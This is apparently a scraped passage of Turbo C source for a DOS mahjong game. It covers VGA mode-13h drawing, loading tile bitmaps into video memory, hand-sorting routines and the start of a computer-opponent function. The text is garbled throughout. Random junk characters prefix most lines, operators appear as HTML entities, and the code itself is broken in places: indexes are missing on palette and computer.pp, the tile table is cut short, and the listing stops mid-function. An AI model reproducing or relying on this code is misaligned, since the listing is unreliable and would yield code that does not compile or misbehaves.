#include "stdlib.h"
" i" S5 K6 v+ }4 }! Uunsigned char far *video_buffer=(char far *)0xA0000000L;
. S$ H  z) E- v; b: ^  J' S9 k#define VGA256 0x13 /*图形模式13h*/
#define TEXT_MODE 0x03 /*普通文本模式*/
  M9 x- O! k( }#define SETVGA Set_Video_Mode(VGA256)
# E8 r+ A( L& n8 q* T2 b#define OUTVGA Set_Video_Mode(TEXT_MODE)
& L, u$ N- h1 x6 B- \6 R# p' B& ?#define BYTE unsigned char
2 |1 [) @2 N, ]' X2 V# Y) a#define WORD unsigned int
  v$ e# ^; {  D* `4 h5 o' n#define DWORD unsigned int
+ {, s; o& A5 W/ }( P#define ESC 283
#define LEFT 19200
" R. C0 M. w. z5 t#define RIGHT 19712
#define H 9064
5 |- [/ n. @) V* S4 c! V#define ENTER 7181
5 V+ ]! p- t% c; n4 xunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
1 r' O$ R- g5 G  j; Q5 H& Hint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
8 }1 P* B, W7 @4 s; X3 _# [! Tstruct chi
{
int lg;
8 ~5 G( I( n# b/ Fint lgg;
" X8 O' _# ?$ A- n& J0 q}ch[13];
struct mj
6 S  l  m0 k  g3 }{ char *name; /*名字*/
int data1; /*是否已出，无用了*/
* i: d6 j: n# nint data2; /*是否在手中，1为自己，2为对方*/
& |  R7 A/ b" A& Z4 t8 Z( p$ jint number; /*同一个花色的第几张，共4张*/
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
; O) @6 c9 L! v) D* N. V7 G: W! ?"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
  i# F) S3 s$ Y" _6 [0 f"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
5 n7 i, O" L! Z"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
7 G$ ]& N2 w8 c( k$ K/ t9 y% ^"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
* B4 k, f4 P# ~; u# d, B"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
3 c" Q7 o- Y! o5 D"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
% A/ A, A6 ^) s1 U9 k3 P# m$ y"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
3 p+ }( D3 D+ J- u* s' f& y  l"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
1 l! ]% Y3 F1 T0 X"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
; p* T; l' Q8 A1 K"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
$ h" m- s  ~$ ?, K$ R+ @"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
. a% p3 i# Z. ?% |) d"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
1 ~. t5 k% p! a# F"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
; n! n; j/ Q7 N8 m"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
4 V( {: f3 d! \7 C" F2 X! Y4 Y: S"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
$ e$ A6 o. v2 A"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
"34.bmp"};
struct every
5 d  g+ B" v4 t/ q7 l0 t+ f; H{ int *k; /*名字*/
int oneorfour; /*同一张牌的第几张*/
int number; /*第几张牌136*/
int p;
int g;
' Q3 a& W& a* c1 U; s# c  j. Xint c;
int d[2];
8 O& Y/ j0 y- q4 P) b2 K};
" k! ^! P4 A/ f% ?: k3 ~struct me
{ int m; /*定义有几张牌，开始有13张随着游戏的进行，会越来越小*/
int p; /*乓对方*/
* l* u$ L7 r7 u- Y" B. o1 S9 i) Nint c; /*吃对方*/
9 V  Q( ]$ Z- ?2 B0 o5 Yint g; /*杠*/

struct every pp[14]; /*存放手上的牌*/
( \0 R$ |" G5 p6 q6 d2 v}me;
struct computer
3 c3 P- S$ {7 U) A{ int m;
: w# `( t# L8 F) [2 c) W  S% Yint p;
7 H5 Z" f! T) S6 [int c;
% s9 C; J; [) t" C0 Y+ F* s+ Q1 vint g;
struct every pp[14];
! k* e+ t( J9 c* c& ?}computer,comp;

/* 设置调色板 */
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
{
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
# g; K# j+ V" Z2 Boutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
outportb(0x3c9,g);
+ u" w; R3 C* l8 J" {outportb(0x3c9,b);
1 p$ l: w7 x- a$ i" o) I8 O}
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
/* 设置显示模式的函数 */
0 q" `! M( n' ?# b& {5 ~void Set_Video_Mode(int mode)
& H" ~; t" b- \- ~. s7 m. t0 l{
union REGS inregs,outregs; /*定义输入和返回寄存器*/
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
; s8 J* G% O& Winregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
1 ]4 v' K& D6 C7 C1 uint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
}
  n# ]! [/ @2 o5 [* }6 Mvoid v_line(int y0,int y1,int x,unsigned int color)
6 }* E( _# v& M2 l" N+ p{ unsigned int address,n,temp;
if(y0&gt;y1)
8 z" v. v0 [: V+ t{
" l' ?2 I; L% X: F0 C9 u6 _( O7 Itemp=y1;
  u. Y! N6 _# G( N. ey1=y0;
- E7 M" y' ?9 {y0=temp;
}
6 _/ }; w- Q4 v$ Haddress=320*y0+x;
) |9 o* Q' S/ C  }% y0 \5 hfor(n=0;n&lt;=y1-y0;n++)
{
video_buffer[address]=color;
$ Y" [4 O+ {0 [+ Naddress+=320;
}
}
2 x; B: n1 m( o4 S! K( ivoid h_line(int x0,int x1,int y,unsigned int color)
{ unsigned int address,n,temp;
if(x0&gt;x1)
* f2 [8 S5 S/ {- g  H- j/ b) Q- l{
temp=x1;
1 b' g0 @4 g/ Nx1=x0;
, b3 E1 h- a6 _5 a  l4 Q: }x0=temp;
}
) b2 T/ q! ?8 c" Z1 p+ U! g6 f0 O. oaddress=320*y+x0;
for(n=0;n&lt;=x1-x0;n++)
5 U5 P; R1 `) C: \/ i: G0 N/ {: Y{
# @( f6 }6 ~# b* F8 R" pvideo_buffer[address]=color;
address+=1;
}
* @0 m  X$ |1 K- Z1 F7 H}
void p_pixel(int x,int y,unsigned int color)
6 D/ W6 b* h* v7 V{ video_buffer[y*320+x]=color;
}
void s_square(int x,int y,int side,int color)
$ P) }. T7 ]: W% \: v( f  w{
h_line(x,x+side,y,color);
; ?. M; L% C& j! Uh_line(x,x+side,y+side,color);
0 J% C/ B- A+ {$ {6 ?+ L, wv_line(y,y+side,x,color);
0 S3 z: d$ O4 c2 C, X9 T  Yv_line(y,y+side,x+side,color);
}
( C0 a* w/ F  s$ r9 A$ |% F* Qvoid r_rectangle(int x1,int y1,int x2,int y2,int color)
{
" p: O: T( p& o5 A8 U* d/ O. Lh_line(x1,x2,y1,color);
h_line(x1,x2,y2,color);
& v: @  ]% P  h% L. C3 t; _( q8 ^v_line(y1,y2,x1,color);
: ~2 Q9 h# u' S0 F3 A5 C" d' ev_line(y1,y2,x2,color);
}
4 e! |) M5 H7 c. s: z7 k: Pvoid fillRectangle(int x1,int y1,int x2,int y2,int color)
: b6 l& s. x8 A* _) I3 n% Y( b{
int i;
for(i=y1;i&lt;=y2;i++)
{
h_line(x1,x2,i,color);
) ]- M" ]3 H8 Y5 _; _. o, H0 X}
}
void showbmp(int l)
{ FILE *bmp;
9 P, c0 [! `  t( r' y4 Rint i,x,y;
BYTE palette[256][3];
4 R9 f* M1 U' Zbmp=fopen(me.pp[l].k,"rb");
: ~8 L  r* \. \: J9 hfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
# q- O" U' i0 u' s( _# ~4 ?{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
" m+ x, c5 [$ R% v0 ^" n. Spalette[0]=fgetc(bmp)&gt;&gt;2;
7 D* V) T. r  w1 t/ ^$ m% C3 Efgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
7 B! Y4 s* V; i* v}
for (y=0;y&lt;30;y++)
$ T/ o* V- v# v( [for(x=0;x&lt;20;x++)
: _4 u; _7 d- Hpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
fclose(bmp);
}
void showbmpd(int l)
$ k: h7 J6 u, B5 Y/ t: b/ T% ?( A9 ?{ FILE *bmp;
; [% C( _5 [8 jint i,x,y;
. F5 d) \# o2 ?* [2 {& k/ E  zBYTE palette[256][3];
) q. g5 x. p  z' rbmp=fopen(me.pp[l].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
9 d  d2 x0 U! h+ u5 V7 r{
* ^! Z5 c2 V6 b2 [# Wpalette[2]=fgetc(bmp)&gt;&gt;2;
7 K7 Y1 Z+ m- u" V+ U4 p/ a( lpalette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
& W7 ?! N" B8 t; L5 bSet_Palette(i,palette[0],palette[1],palette[2]);
}
! Z* k1 k8 O$ q3 m$ c' mfor (y=0;y&lt;30;y++)
4 V( o- `, p+ F3 |6 W  \7 J# ?for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
8 F0 {0 d4 V5 A5 l+ q5 [}
void showybmp(int ll)
{ FILE *bmp;
: U! K- `, c# p  E& Sint i,x,y;
BYTE palette[256][3];
; L/ D* i* @! c+ L' bbmp=fopen(computer.pp[ll].k,"rb");
fseek(bmp,54,SEEK_SET);
2 h) p9 |' k% n% r# T$ ]for(i=0;i&lt;256;i++)
{
palette[2]=fgetc(bmp)&gt;&gt;2;
) ]* y3 n4 q6 z% E) I+ upalette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
% R4 a4 V! n5 Z+ S}
) Q. {1 @3 |" m) ]/ K" Z/ G' P; Rfor (y=0;y&lt;30;y++)
  H2 D$ A. I" J5 @$ ]! P) X; A2 Mfor(x=0;x&lt;20;x++)
  N8 a0 ?) }) I# p. N; hpokeb(0xa000,y*320+x+zy,fgetc(bmp));
2 W$ E6 s( a7 @( Ifclose(bmp);
}
8 N2 p+ N. U' e7 ]4 \) rvoid showcbmp(int ll)
8 y7 Z: h. ?, d1 Z{ FILE *bmp;
) q* e4 _+ \5 Z# W. pint i,x,y;
9 f+ J" U5 S4 ~; mBYTE palette[256][3];
bmp=fopen(computer.pp[ll].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
5 a7 J5 C: |1 x{
+ M; j; v8 a& u) g$ d6 N& r: D; t# Ppalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
( R/ r6 a" L- B' Y/ A" f* X( npalette[0]=fgetc(bmp)&gt;&gt;2;
7 E; C+ q! q9 q. B+ hfgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
  q) [! x, m: w# Y- o}
4 C* e- A& H% E, q/ u" i+ ~for (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
- P% u* d: r4 T6 X8 w% A}
5 K+ S8 I3 O/ @* bvoid bmpp(int number)
( ~4 ], `" h6 ]1 y4 T1 B6 \0 n{ FILE *bmp;
int i,x,y;
BYTE palette[256][3];
bmp=fopen(m[number].name,"rb");
fseek(bmp,54,SEEK_SET);
& S6 f+ l( w( ]+ C0 P- Wfor(i=0;i&lt;256;i++)
: Q: J$ g* Z+ l4 d{
# |3 W2 p+ c" h' Spalette[2]=fgetc(bmp)&gt;&gt;2;
6 y& P0 N8 U! @6 P) rpalette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
) G5 ?/ x7 ]: {2 VSet_Palette(i,palette[0],palette[1],palette[2]);
1 A. r1 n  I' R}
6 I* c2 ]; w+ v+ V" ]7 F# V5 Bfor (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
0 _3 ?1 @6 n& E" i3 d# g$ Hpokeb(0xa000,y*320+x+zl,fgetc(bmp));
fclose(bmp);
4 P) F4 k/ v  m}
void comlipai() /*整理电脑的牌*/
{ int n,j,u;
8 p* j+ u. R' W& rint *lingshi;
for(n=0;n&lt;computer.m;n++)
for(j=n;j&lt;computer.m;j++)
{
% A3 e# O& n7 y+ y. z' F; K+ qif(computer.pp[n].number&gt;computer.pp[j+1].number)
{
lingshi=computer.pp[n].k;
% s  j2 R, y  c$ Hcomputer.pp[n].k=computer.pp[j+1].k;
) V4 A& Q. a1 |. Y% Icomputer.pp[j+1].k=lingshi;
u=computer.pp[n].oneorfour;
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
computer.pp[j+1].oneorfour=u;
. T- c! _; g' g5 }4 |" I8 Uu=computer.pp[n].number;
computer.pp[n].number=computer.pp[j+1].number;
computer.pp[j+1].number=u;
6 M# c6 ~% \* q0 m9 ], }3 P}
else
7 N% b2 n+ q' C" p1 gif(computer.pp[n].number==computer.pp[j+1].number)
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
{
5 \/ a5 p1 \% S7 Llingshi=computer.pp[n].k;
# C+ f/ H  a* f- Ucomputer.pp[n].k=computer.pp[j+1].k;
7 o8 ?0 m, T, i; b* C3 mcomputer.pp[j+1].k=lingshi;
u=computer.pp[n].oneorfour;
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
computer.pp[j+1].oneorfour=u;
3 A6 c& c6 G) {) c6 ~u=computer.pp[n].number;
0 O' G* w2 C* Ycomputer.pp[n].number=computer.pp[j+1].number;
+ J$ ]( r5 H; U8 m- Gcomputer.pp[j+1].number=u;
) ^, H0 f. m( s" o. Z7 M' P3 P}
}
& i8 R% k& A" z- p}
+ H4 r  M8 r8 g' w8 w, e: L1 l& {void melipai()
* a) s' Z" r; v# i9 P{ int n,j,u;
+ X# }$ B: M4 p6 B4 L0 Z) z% gint *lingshi;
2 X5 U7 m9 H5 efor(n=0;n&lt;me.m;n++)
- M% f' _8 b3 r8 d( zfor(j=n;j&lt;me.m;j++)
{
if(me.pp[n].number&gt;me.pp[j+1].number)
9 d7 T& g. D6 E1 @! T7 [! c{
lingshi=me.pp[n].k;
me.pp[n].k=me.pp[j+1].k;
me.pp[j+1].k=lingshi;
$ w, z9 p; `& r3 O( i! cu=me.pp[n].oneorfour;
  \# c4 i! T( Q1 Z4 f; Q9 |0 ame.pp[n].oneorfour=me.pp[j+1].oneorfour;
% Q9 S  k  `* k* G" y, ~8 @7 y9 Cme.pp[j+1].oneorfour=u;
u=me.pp[n].number;
( M, T6 z1 Q0 F# M3 |me.pp[n].number=me.pp[j+1].number;
me.pp[j+1].number=u;
}
4 _2 M- o. T1 [8 D* ?else
6 \, C7 Q3 F* U7 R- z, f1 `if(me.pp[n].number==me.pp[j+1].number)
  k2 O3 J! P% Z3 c3 A# x9 Gif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
( T; k8 y! h8 Q. M{
) ?5 w% L9 t: m9 D5 m7 Mlingshi=me.pp[n].k;
! C: b% r' w' T% \, ume.pp[n].k=me.pp[j+1].k;
5 a& i; `+ |7 Z& X- t$ I' Mme.pp[j+1].k=lingshi;
u=me.pp[n].oneorfour;
: K9 f- g2 _# t2 w/ pme.pp[n].oneorfour=me.pp[j+1].oneorfour;
me.pp[j+1].oneorfour=u;
u=me.pp[n].number;
: ?' g5 f- S7 q: M/ g" D2 Jme.pp[n].number=me.pp[j+1].number;
me.pp[j+1].number=u;
}
}
}
+ t$ O- o2 W* K5 [- @+ \void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
! k% m; x: n' P, \' T6 |$ h8 P/ Q* e6 G{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
+ E% I/ Y+ G2 E1 s5 a{
logo=1;
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
; O7 ~7 Z/ X* C* ^, hlogoo=1;
, g% x. ]+ K( ]$ m5 a5 velse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
logoo=2;
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
' I6 x) c8 n( [logoo=3;
$ x. I0 U( g) j8 A" Z; relse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
logoo=4;
& a7 E1 y5 ~3 H! z0 Kelse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
logoo=5;
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
8 O# p$ j8 O+ v/ U  Qlogoo=6;
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
logoo=7;
0 s( n9 D; Q/ m- U5 Z9 m" f, y# uelse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
0 T* X  T% A0 l# q; j5 \logoo=8;
: A, |! M: J3 B4 ielse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
/ I9 r! s" T6 |% B2 ologoo=9;
- x  j& |9 w4 y}
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
{
3 g% K" F; |( S7 a* u) S& N6 Tlogo=2;
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
logoo=1;
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
logoo=2;
# c2 S. V$ o. _0 helse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
logoo=3;
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
: I' e; P( I' k+ Zlogoo=4;
# m4 M6 s( H! ^+ H; h$ W* }else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
) d; ]7 t6 ]3 j7 y* h; r% slogoo=5;
3 b) J' T/ ]- o: X3 U% x, ~# k$ J8 Celse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
  l, c2 P" @0 g( clogoo=6;
4 B7 P% S5 Z! N: C" \else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
4 K  u) E2 u" v9 ]* Blogoo=7;
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
logoo=8;
( c6 _; [6 w6 {- \0 y* @else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
' n8 y' C8 e/ U- slogoo=9;
}
! r1 _* X, v3 I# Jelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
) ~8 z3 F& V( ^- k1 ?" s$ Z1 ^{
logo=3;
' P6 h/ s0 U; X' b  H7 ?if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
6 Q  V( W) o% t- l) q) elogoo=1;
7 D. l( t6 f* C0 }else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
  h, W* X& X- Vlogoo=2;
8 R/ w2 `8 ~1 J1 O8 ~: @else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
logoo=3;
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
$ m; c+ v) C/ R& W$ j/ Jlogoo=4;
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
logoo=5;
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
1 M# f" Y6 u9 Q7 @' vlogoo=6;
0 B' {! b! Y+ A2 l3 U4 @else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
) j" r  [+ G( G! wlogoo=7;
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
/ a8 _% J4 s" u; o% T; `1 dlogoo=8;
1 ^3 A& W0 z6 Yelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
logoo=9;
}
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
{
  R/ g- d: |$ `  P8 e5 U$ ulogo=4;
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
logoo=1;
2 I% ?# n! o+ |  ]; }$ U# uelse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
logoo=2;
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
7 l) g4 o6 P+ ~logoo=3;
. R$ E! m3 n0 Qelse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
) T, Z# z4 w  {0 F% u$ N5 G; flogoo=4;
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
3 q' H& Q+ _. J: r' Plogoo=5;
, `. |6 W7 t' Nelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
logoo=6;
* d: G' H4 k/ e- L5 belse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
1 I: X& t& x% ]1 Glogoo=7;
- L- b6 l& N1 G+ x4 Z* n  j}
+ t; E+ S! J; X: d2 s- I/ awhile(b&lt;=computer.m)
9 P9 y) p+ u, d# o5 ]7 M1 F{
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
{
lg=1;
+ J- F4 X/ i% e% ^, D) Q  Qcomputer.pp.d[0]=1;
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
" o8 E9 @. r$ X6 E' |7 x, X{
0 N" \  d: j+ i& M0 llgg=1;
* ]/ o2 o4 }# P2 ~computer.pp.d[1]=1;
7 y) m9 H. u+ j. F9 U}
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
9 V$ S; H9 L+ V3 H3 h  |& y5 d{
& C2 |5 t* l# Z- Ulgg=2;
2 G' t* \( d4 e: r) ecomputer.pp.d[1]=2;
}
: n$ D, I  ]5 B% a/ Y9 h% D0 k' a9 Felse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
{
" l( P, y  J- \* c: e+ o1 S8 jlgg=3;
computer.pp.d[1]=3;
}
" d" A  O) n7 q2 T& qelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
8 C7 A8 S! Y, R* G& i1 m{
lgg=4;
5 H: J( y* E" n& b8 |# l: u5 Z) Ocomputer.pp.d[1]=4;
}
7 e/ P9 a( V9 n8 ?$ relse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
' R. }; J+ ~' Q4 q$ x{
lgg=5;
computer.pp.d[1]=5;
}
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
0 h7 t9 J4 z( M, b# `4 F  ~{
lgg=6;
computer.pp.d[1]=6;
7 s! B1 ^# l5 v( y1 M}
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
- h: p; E1 b0 D2 b6 `" ]{
. \1 z) z4 C: T6 ~+ Blgg=7;
( B% M% l$ y. J" d8 ecomputer.pp.d[1]=7;
}
+ g  h; r( A1 d/ S( A" p6 xelse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
6 z' W# a- g' m{
lgg=8;
computer.pp.d[1]=8;
5 g0 F3 c( f8 }- ^: K- g/ r}
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
* u8 q6 _7 Q' o) O1 F, Y# x{
; z* @0 q" Y6 z6 Y8 y% Ulgg=9;
6 L! A) h+ R! b" V4 D+ k9 h/ M$ {1 Pcomputer.pp.d[1]=9;
}
$ i, D) u9 Y2 D( i; d}
4 }5 y1 e. `! a4 Felse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
{
, j  U& U! ^9 ?, [% Hlg=2;
computer.pp.d[0]=2;
1 h- Y0 x: ?% @( z: ]. l* @if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
{
% {. }+ ]/ h: zlgg=1;
! i, h' t, w1 F9 j8 bcomputer.pp.d[1]=1;
}
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
{
9 j3 e6 z* g( c  ^lgg=2;
2 T* k" ]* T2 J5 d9 _) _computer.pp.d[1]=2;
7 j% Y+ U; f! }% H4 m: s}
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
, s- U/ I6 M' N: F. G: W{
  r# {3 A5 n0 T0 U/ g; Plgg=3;
0 O2 ^& ~8 N5 V: \, A0 D+ Fcomputer.pp.d[1]=3;
5 E) a, k* V  X& o}
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
) i1 |+ x& s) \" V: y( p{
lgg=4;
computer.pp.d[1]=4;
}
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
7 R) C% L, u" l: ]+ H4 M{
lgg=5;
computer.pp.d[1]=5;
% ]* X" k) ^# a: b# X$ v- e1 i}
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
{
lgg=6;
) m% @% v% ?5 Q' z! {computer.pp.d[1]=6;
}
1 o& k7 _5 B7 h& {else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
: `# q1 `/ p# @5 T% a0 ]{
+ C5 c9 E2 b2 x7 m: s9 Nlgg=7;
$ _  b$ l* M% q& ], Mcomputer.pp.d[1]=7;
}
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
{
' u7 F9 |4 c8 n8 R3 V- Rlgg=8;
computer.pp.d[1]=8;
}
: H2 p' G3 n/ R3 f# f5 zelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
9 J' a, y8 _3 k* s{
# R7 K- m* _1 Dlgg=9;
computer.pp.d[1]=9;
}
$ V6 H" y) Q* q# B}
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
: L; U0 o, _* n5 v. P$ T{
lg=3;
' [8 i* j% ^" R: W( K$ zcomputer.pp.d[0]=3;
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
2 D6 `4 |" {5 y# l) H/ R, r; ^, I; Y{
. i/ q8 T$ C$ b+ K. [$ Blgg=1;
computer.pp.d[1]=1;
  G" r( H9 d  [: t/ g}
9 q9 P% ^& b) ^/ |else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
4 s9 F& F- F7 P+ Y+ D; U{
  D) _' @) \& m& }& Y2 a4 olgg=2;
computer.pp.d[1]=2;
}
